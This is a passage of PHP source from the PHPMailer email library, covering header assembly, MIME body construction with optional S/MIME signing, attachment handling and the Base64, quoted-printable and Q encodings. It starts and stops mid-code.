found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 